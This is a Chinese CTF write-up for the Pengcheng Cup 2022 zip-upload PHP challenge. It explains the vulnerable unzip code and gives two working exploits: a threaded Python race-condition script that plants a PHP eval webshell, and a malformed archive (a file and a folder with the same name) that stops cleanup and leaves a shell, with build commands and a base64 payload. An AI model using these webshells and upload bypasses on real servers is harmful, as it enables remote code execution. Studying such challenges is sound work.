NSS [鹏城杯 2022]压缩包

news2024/10/7 8:30:15

NSS [鹏城杯 2022]压缩包

考点:条件竞争/逻辑漏洞(解压失败不删除已经解压文件)

参考:回忆phpcms头像上传漏洞以及后续影响 | 离别歌 (leavesongs.com)

源码有点小多

image-20230708160120785

<?php
highlight_file(__FILE__);

function removedir($dir){
    $list= scandir($dir);
    foreach ($list as  $value) {
       if(is_file($dir.'/'.$value)){
         unlink($dir.'/'.$value);
       }else if($value!="."&&$value!=".."){
                removedir($dir.'/'.$value);
       }
    }
}

function unzip($filename){
        $result = [];
        $zip = new ZipArchive();
        $zip->open($filename);
        $dir = $_SERVER['DOCUMENT_ROOT']."/static/upload/".md5($filename);
        if(!is_dir($dir)){
            mkdir($dir);
        }
        if($zip->extractTo($dir)){
        foreach (scandir($dir) as  $value) {
            $file_ext=strrchr($value, '.');
            $file_ext=strtolower($file_ext); //转换为小写
            $file_ext=str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
            $file_ext=trim($file_ext); //收尾去空
            					                       			     			if(is_dir($dir."/".$value)&&$value!="."&&$value!=".."){
                removedir($dir);
            }
            	if(!preg_match("/jpg|png|gif|jpeg/is",$file_ext)){
                if(is_file($dir."/".$value)){
                    unlink($dir."/".$value);
                }else{
                    if($value!="."&&$value!="..")
                    array_push($result,$value);
                }
            }
        }
        $zip->close();
        unlink($filename);
        return json_encode($result);
        }else{
            return false;
        }
}
$content= $_REQUEST['content'];
shell_exec('rm -rf /tmp/*');
$fpath ="/tmp/".md5($content); 
file_put_contents($fpath, base64_decode($content));
echo unzip($fpath);
?>

分析解释一下代码:(看完发现这段代码实现了指定目录解压功能)

<?php
// 输出当前文件的源代码
// __FILE__ 是一个常量,表示当前文件的完整路径
// highlight_file() 函数用于将文件的源代码进行高亮显示
highlight_file(__FILE__);

// 定义一个递归函数 removedir(),用于删除指定目录下的所有文件和子目录
// 参数 $dir 表示要删除的目录的路径
function removedir($dir){
    // 使用 scandir() 函数获取目录中的文件和子目录列表
    // 返回一个数组,包含目录中的所有条目(包括 . 和 ..)
    $list= scandir($dir);
    
	// 遍历目录中的每个条目
    foreach ($list as  $value) {
        
        // 如果当前条目是一个文件
        if(is_file($dir.'/'.$value)){
            
        // 使用 unlink() 函数删除文件
        unlink($dir.'/'.$value);
        
        // 如果当前条目是一个子目录
		}else if($value!="."&&$value!=".."){
            
            // 递归调用 removedir() 函数,删除子目录中的文件和子目录
        	removedir($dir.'/'.$value);
        }
	}//闭合foreach
}//闭合function

// 定义一个函数 unzip(),用于解压缩指定的 ZIP 文件
// 参数 $filename 表示要解压缩的文件的路径
function unzip($filename){
    
    // 定义一个空数组 $result,用于存储解压缩后的结果 
	$result = [];
        
    //创建一个 ZipArchive 类的实例,用于操作 ZIP 文件
	$zip = new ZipArchive();
        
    // 使用 open() 方法打开要解压缩的 ZIP 文件
	$zip->open($filename);
    
    // 根据 ZIP 文件名创建一个目录路径,用于存储解压缩后的文件    
	$dir = $_SERVER['DOCUMENT_ROOT']."/static/upload/".md5($filename);
        
	// 如果目录不存在,则创建【目录】
	if(!is_dir($dir)){
		mkdir($dir);
	}
        
	// 使用 extractTo() 方法将 ZIP 文件解压缩到指定目录
	if($zip->extractTo($dir)){
		// 遍历目录中的每个文件和子目录
		foreach (scandir($dir) as  $value) {
            
			// 使用 strrchr() 函数获取文件的扩展名(包括点号)
			$file_ext=strrchr($value, '.');
            
			// 将文件扩展名(如.txt)转换为小写字母
			$file_ext=strtolower($file_ext); 

        	// 去除文件扩展名中的字符串 "::$DATA"
			$file_ext=str_ireplace('::$DATA', '', $file_ext);

        	// 去除文件扩展名的首尾空格
        	$file_ext=trim($file_ext); 
            
        	// 如果当前条目是一个子目录,并且不是当前目录 (.) 和上级目录 (..)
			if(is_dir($dir."/".$value)&&$value!="."&&$value!=".."){
            	// 递归调用 removedir() 函数,删除子目录中的文件和子目录
				removedir($dir);
			}
        
        	// 如果文件扩展名不匹配指定的图片扩展名(jpg、png、gif、jpeg)
			if(!preg_match("/jpg|png|gif|jpeg/is",$file_ext)){
            	// 如果当前条目是一个文件
				if(is_file($dir."/".$value)){
                	// 使用 unlink() 函数删除文件
            		unlink($dir."/".$value);
           	}else{
            		if($value!="."&&$value!="..")
             	    // 将文件名添加到结果数组中
           	        array_push($result,$value);	
                  }
        	}//闭合if
		}//闭合foreach
        
        // 关闭 ZIP 文件
        $zip->close();   
    	
        // 删除原始 ZIP 文件
        unlink($filename);   
    	
        // 返回解压后的文件名数组的 JSON 字符串表示
        return json_encode($result);   
    } else {
        // 如果解压失败,返回 false
        return false;   
    }
}


$content = $_REQUEST['content'];   
// 获取通过请求参数 content 传递的值
shell_exec('rm -rf /tmp/*');   
// 执行 shell 命令,删除 /tmp 目录下的所有文件和子目录。**/tmp/** 是一个 Linux/Unix 系统中的临时目录,常用于存放临时文件,通常这些文件在系统重启时会被清空。
$fpath = "/tmp/".md5($content);   
// 生成一个临时文件路径,将内容写入临时文件
file_put_contents($fpath, base64_decode($content));   
// 将解码后的内容写入临时文件
echo unzip($fpath);   
// 调用 unzip 函数,解压临时文件,并将结果输出。
?>

==方法一:==条件竞争:【还不是很理解】

这里直接cv羽师傅的了

首先看这个代码的逻辑,我们的可控点是content,同时可以写入文件进去,在unzip函数中extractTo可以解压/tmp的文件到 S E R V E R [ ′ D O C U M E N T R O O T ′ ] . " / s t a t i c / u p l o a d / " . m d 5 ( _SERVER['DOCUMENT_ROOT']."/static/upload/".md5( SERVER[DOCUMENTROOT]."/static/upload/".md5(filename),然后经过一大堆过滤,最后就是unlink删除文件,所以我们可以进行条件竞争,在解压文件和删除文件进行竞争

1、将如下php内容压缩生成zip文件。

<?php 
echo '11111';
file_put_contents('/var/www/html/x.php','<?php eval($_POST[1]);?>');
?>

​ 2、条件竞争脚本如下

#author:yu22x
import io
import requests
import threading
import hashlib
import base64
url="http://192.168.1.110:8521/"
sess=requests.session()
s = open('a.zip','rb').read()
content=base64.b64encode(s)
data={'content':content}
i = hashlib.md5(content)
md=hashlib.md5(('/tmp/'+str(i.digest().hex())).encode())

def write(session):
    while True:
        resp = session.post( url,data=data )
def read(session):
    while True:
        resp = session.get(url+f'static/upload/{md}/a.php')
        if resp.status_code==200:
            print('yes')
if __name__=="__main__":
    event=threading.Event()
    with requests.session() as session:
        for i in range(1,30):
            threading.Thread(target=write,args=(session,)).start()
    	for i in range(1,30):
       		threading.Thread(target=read,args=(session,)).start()
	event.set()

通过蚁剑连接x.php密码为1,根目录下拿到flag

==方法二:==解压失败逻辑漏洞:

我们可以通过zip解压失败的方式来写入shell,只要压缩包中目录名和一个文件名相同,这样解压时候会报错,但是文件已经解压出来了。这一点,P神的文章中有,感兴趣的师傅可以去看看,连接在wp最上面。

关键代码:

if($zip->extractTo($dir)){
// 使用 extractTo() 方法将 ZIP 文件解压缩到指定目录
。。。
。。。
。。。
。。。
。。。
} else {
    return false;   
    // 如果解压失败,返回 false,退出函数。
}

不难看出,如果解压失败,那么直接return,退出unzip方法。同时,虽然解压失败,但是我们包含恶意代码的shell.php已经解压出来了。

具体实现用一下zouyii师傅的实现步骤

1、手动创建一个shell.php,内容为<?php @eval($_POST['jay'])?>

2、在linux中输入以下命令创建压缩包,其中在同名文件夹中需要随便加入一点文件进去(windows下试了试没成功)

zip -y exp.zip shell.php    //把shell.php文件压缩进exp.zip
rm shell.php          //删除shell.php文件
mkdir shell.php       //创建shell.php文件夹
echo 1 > ./shell.php/1     //把1存进当前目录下shell.php文件中名字为1的文件中(可导致解压失败)
zip -y exp.zip shell.php/1   //把shell.php文件夹及其下1文件压缩进exp.zip

image-20230708173432609

然后我们将exp.zip复制出来,我们尝试解压一下,发现会报错,但是shell.php已经解压出来了。(具体报错的原因是文件夹和文件重名,都叫shell.php)

image-20230708174441157

image-20230708174457322

经过测试验证,Windows下不允许文件夹和文件重名,而Linux下却可以

image-20230708224838790

然后我们写一段脚本,将该压缩包的字节base64加密

import base64

tmp = open("C:\\Users\\86159\\Desktop\\exp.zip","rb").read()
print(base64.b64encode(tmp))

得到UEsDBAoAAAAAALqL6FbcmEX2HQAAAB0AAAAJABwAc2hlbGwucGhwVVQJAAOQLKlkkCypZHV4CwABBOgDAAAE6AMAADw/cGhwIEBldmFsKCRfUE9TVFsnamF5J10pPz4KUEsDBAoAAAAAAC+M6FZT/FFnAgAAAAIAAAALABwAc2hlbGwucGhwLzFVVAkAA2ktqWRxLalkdXgLAAEE6AMAAAToAwAAMQpQSwECHgMKAAAAAAC6i+hW3JhF9h0AAAAdAAAACQAYAAAAAAABAAAApIEAAAAAc2hlbGwucGhwVVQFAAOQLKlkdXgLAAEE6AMAAAToAwAAUEsBAh4DCgAAAAAAL4zoVlP8UWcCAAAAAgAAAAsAGAAAAAAAAQAAAKSBYAAAAHNoZWxsLnBocC8xVVQFAANpLalkdXgLAAEE6AMAAAToAwAAUEsFBgAAAAACAAIAoAAAAKcAAAAAAA== (掐头去尾)

hackbar发个POST包,发现报错。那就是成功解压失败了。

==注意!!!==如果没出来红框上的报错信息,那就是url编码出问题了,火狐和谷歌的hackbar、burp、手动url编码,自己都可以试试。(忠告,要不然有些师傅和我一样要睡不着的哈哈哈哈哈)

image-20230708232838391

此时我们查看一下,解压成功的文件会上传到什么路径。

文件的路径,按代码执行顺序来是如下这样的:

1$fpath ="/tmp/".md5($content); 
2file_put_contents($fpath, base64_decode($content));
3$dir = $_SERVER['DOCUMENT_ROOT']."/static/upload/".md5($filename);
4//1、时,md5($content)=9746378d7516a671648f4f9f5d4f8949,所以$fpath=/tmp/9746378d7516a671648f4f9f5d4f8949
//3、时$filename=$fpath。md5($filename)=c7c1c9f96bc7319aff35a1cfa90d7d98。$_SERVER['DOCUMENT_ROOT']=根目录的路径(这个变量是PHP内置变量),此时$dir=根目录/static/upload/c7c1c9f96bc7319aff35a1cfa90d7d98  
//综上,最后我的shell.php在   /static/upload/c7c1c9f96bc7319aff35a1cfa90d7d98/shell.php中

注意一下路径,然后就可以RCE了。

image-20230708233148331

当然,破坏压缩包的方法不止这一种。以下是另外的师傅破坏压缩包的方法,没下010就不复现了。

准备两个文件,一个PHP文件1.php,一个文本文件2.txt,其中1.php是webshell。然后将这两个文件压缩成shell.zip。然后使用010编辑器把压缩包打开,把2.txt改成五个斜杠。由于这种命名方式在Linux下会报错,因此在解压完1.php后会报错,就不会执行删除操作。但是1.php就留在服务器上了。

文件路径中提到了PHP内置变量,这里补充一下:

1、$_SERVER['DOCUMENT_ROOT'] // 根目录的路径

2、$_SERVER['HTTP_HOST']  // 域名,比如:localhost

3、$_SERVER['PHP_SELF'] // 从根目录到PHP文件本身的路径

4、$_SERVER['SCRIPT_FILENAME'] // 文件的绝对路径

5、$_SERVER['REQUEST_URI']  // 从根目录开始所有的URL

6、$_SERVER['REQUEST_METHOD']  // 请求的方法

假设PHP代码在/www/admin/localhost_80/wwwroot/1.php

运行这段PHP代码:

<?php

var_dump($_SERVER['DOCUMENT_ROOT']);
var_dump($_SERVER['HTTP_HOST']);
var_dump($_SERVER['PHP_SELF']);
var_dump($_SERVER['SCRIPT_FILENAME']);
var_dump($_SERVER['REQUEST_URI']);
var_dump($_SERVER['REQUEST_METHOD']);

输出:

string(32) "/www/admin/localhost_80/wwwroot/" 
string(13) "120.46.41.173" 
string(6) "/1.php" 
string(37) "/www/admin/localhost_80/wwwroot/1.php" 
string(6) "/1.php" 
string(3) "GET"

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1193101.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Python】 Python 使用 Pillow 处理图像:几何变换

Python 使用 Pillow 处理图像&#xff1a;几何变换 pillow库操作切片、旋转、滤镜、输出文字、调色板等功能一应俱全。 1. 几何变换 Image 包含调整图像大小 resize() 和旋转 rotate() 的方法。前者采用元组给出新的大小&#xff0c;后者采用逆时针方向的角度。 调整大小并…

视频批量剪辑:AI智剪入门,轻松掌握智能剪辑技巧

在数字媒体时代&#xff0c;视频剪辑已经成为一项必备的技能。无论是为了工作需要&#xff0c;还是为了在社交媒体上分享生活&#xff0c;掌握视频剪辑技巧都能为我们的生活和工作带来很多便利。然而&#xff0c;对于初学者来说&#xff0c;视频剪辑可能是一项艰巨的任务。现在…

1210. 连号区间数(枚举)

题目&#xff1a; 1210. 连号区间数 - AcWing题库 思路&#xff1a;枚举 枚举一般是先暴力再优化。 注意&#xff1a;对于区间的枚举&#xff0c;一般是定一移一。固定任何一端移动另外一端均可以。但是此题为便于在枚举移动端的过程中确定最大最小&#xff0c;选择定左移右…

银行测试丨信贷长链路业务测试数据快速构造方法,了解一下

一、引言 随着银行数字化转型的不断深入&#xff0c;对信贷领域的测试工作提出了更高的标准和要求&#xff0c;如何在高效完成测试任务的同时确保测试质量就成了一个亟待解决的难题。有实践研究表明&#xff0c;在具体测试过程中往往大量的时间精力都是耗费在测试数据准备工作…

原神私服搭建服务器配置该如何选择

原神是一款开放世界的冒险游戏&#xff0c;自从这款游戏上线以来&#xff0c;就受到越来越多的玩家喜欢&#xff0c;因为这款游戏的设定比较少见&#xff0c;剧情也非常精彩&#xff0c;有一些玩家为了更好的游戏体验想要搭建原神的私服&#xff0c;满足玩家的需求&#xff0c;…

【云栖2023】王峰:开源大数据平台3.0技术解读

本文根据2023云栖大会演讲实录整理而成&#xff0c;演讲信息如下&#xff1a; 演讲人&#xff1a;王峰 | 阿里云研究员&#xff0c;阿里云计算平台事业部开源大数据平台负责人 演讲主题&#xff1a;开源大数据平台3.0技术解读 实时化与Serverless是开源大数据3.0时代的必然选…

提升采购订单管理效率的五个最佳实践

企业每年都要订购成千上万的商品和服务。公司运营和发展所需的一切都来自庞大的供应商网络&#xff0c;而沟通这些需求的主要方式是通过采购订单。 由于所有订单都会流经系统&#xff0c;而且每个月都会发生数千元不等的供应支出&#xff0c;因此掌握采购订单流程成为重中之重…

2023年云计算发展趋势浅析

​​​​​​​ 云计算的概念 云计算是一种通过互联网提供计算资源和服务的模式。它允许用户通过网络访问和使用共享的计算资源&#xff0c;而无需拥有或管理这些资源的物理设备。云计算的核心理念是将计算能力、存储资源和应用程序提供给用户&#xff0c;以便随时随地根据需要…

Ubuntu18.04 安装docker教程

Ubuntu18.04 安装docker教程 1、前言 Docker Engine-Community 支持以下的 Ubuntu 版本&#xff1a; Xenial 16.04 (LTS)Bionic 18.04 (LTS)Cosmic 18.10Disco 19.04 Docker Engine-Community 支持以下CPU架构&#xff1a; x86_64&#xff08;或 amd64&#xff09;armhfarm…

Win10共享打印机,别人连接不上出现无法连接到打印机错误码0x0000011b

环境&#xff1a; Win10 专业版 惠普L1119 问题描述&#xff1a; Win10共享打印机&#xff0c;别人连接不上出现无法连接到打印机错误码0x0000011b 解决方案&#xff1a; 1.打开我这台电脑的注册表找到 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Print在右侧…

Google Analytics优缺点分析

Google Analytics是一款广泛使用的网站分析工具&#xff0c;它能够帮助网站和应用程序的拥有者收集和分析数据&#xff0c;并提供有关用户行为、流量来源和转化率等方面的详细见解。本文小编将讲讲关于Google Analytics的优缺点分析。 一、Google Analytics优点 1、免费使用&a…

如何在Linux上部署1Panel运维管理面板并远程访问内网进行操作

文章目录 前言1. Linux 安装1Panel2. 安装cpolar内网穿透3. 配置1Panel公网访问地址4. 公网远程访问1Panel管理界面5. 固定1Panel公网地址 前言 1Panel 是一个现代化、开源的 Linux 服务器运维管理面板。高效管理,通过 Web 端轻松管理 Linux 服务器&#xff0c;包括主机监控、…

STM32H563烧录后无法擦除

STM32H563烧录后无法擦除&#xff0c;使用STM32CubeProgrammer连接后显示如下图所示。

Harmony 应用开发的知识储备

Harmony 应用开发的知识储备 前言正文一、DevEco Studio版本二、手机版本① 环境变量 三、API版本四、开发语言五、运行调试 前言 这里先说明一点&#xff0c;如果你对Android应用开发很熟悉&#xff0c;那么做Harmony应用开发也可以驾轻就熟&#xff0c;只不过在此之前你需要知…

bat脚本批量修改文件名称的方法,以及乱码问题解决

当有大量的文件&#xff0c;需要按照对应数据进行文件名称的修改时候&#xff0c;用bat脚本&#xff0c;是一个快速&#xff0c;并且简单的方法。 使用命令 “"ren "&A2&" "&D2&""” 其中A2为需要修改的单元格&#xff0c;D2为…

微信超实用的小功能

微信真的有超多实用小功能 平时很少注意到&#xff0c;每次都用传统的方法解决&#xff0c;浪费人家研发人员的一片苦心~ 1重要事项提醒&#xff1a;健忘症的福音&#xff1b; 步骤&#xff1a;长按消息-提醒-设置。 2 图片翻译&#xff1a;不用跳转翻译软件&#xff0c;一键翻…

卷积神经网络中参数量的计算原理及方法

手动计算参数量: 1. 卷积层参数计算方法: 参数量计算公式 卷积核宽度 * 卷积核高度 * 输入层通道数 * 输出层通道数 bias(输出层通道数) 注意:池化层没有参数(只是在已知数据区域里求个最大值)输入层通道数就是上层的卷积核数量 输出层通道数等于卷积核个数:输入层通道数经过…

双十一“静悄悄”?VR购物拉满沉浸式购物体验

以往每年的双十一&#xff0c;都会因为电商购物狂欢而变得热闹非凡&#xff0c;而各大电商平台也会在这天推出各种促销活动。但是&#xff0c;近几年来&#xff0c;双十一正在变得“静悄悄”。一个原因是消费群体越发理性消费&#xff0c;更加重视商品本身的质量和体验&#xf…

maven-compiler-plugin和spring-boot-maven-plugin的区别

两者都能打包&#xff01;&#xff01;&#xff01;&#xff01;&#xff01;&#xff01;&#xff01; 格式不同&#xff01;&#xff01;&#xff01;用处不同&#xff01;&#xff01;&#xff01; 以实验为准&#xff0c;下面开始实验&#xff1a; maven-compiler-plugin &…

基于SSM的汽车租赁系统业务管理子系统设计实现

末尾获取源码 开发语言&#xff1a;Java Java开发工具&#xff1a;JDK1.8 后端框架&#xff1a;SSM 前端&#xff1a;Vue 数据库&#xff1a;MySQL5.7和Navicat管理工具结合 服务器&#xff1a;Tomcat8.5 开发软件&#xff1a;IDEA / Eclipse 是否Maven项目&#xff1a;是 目录…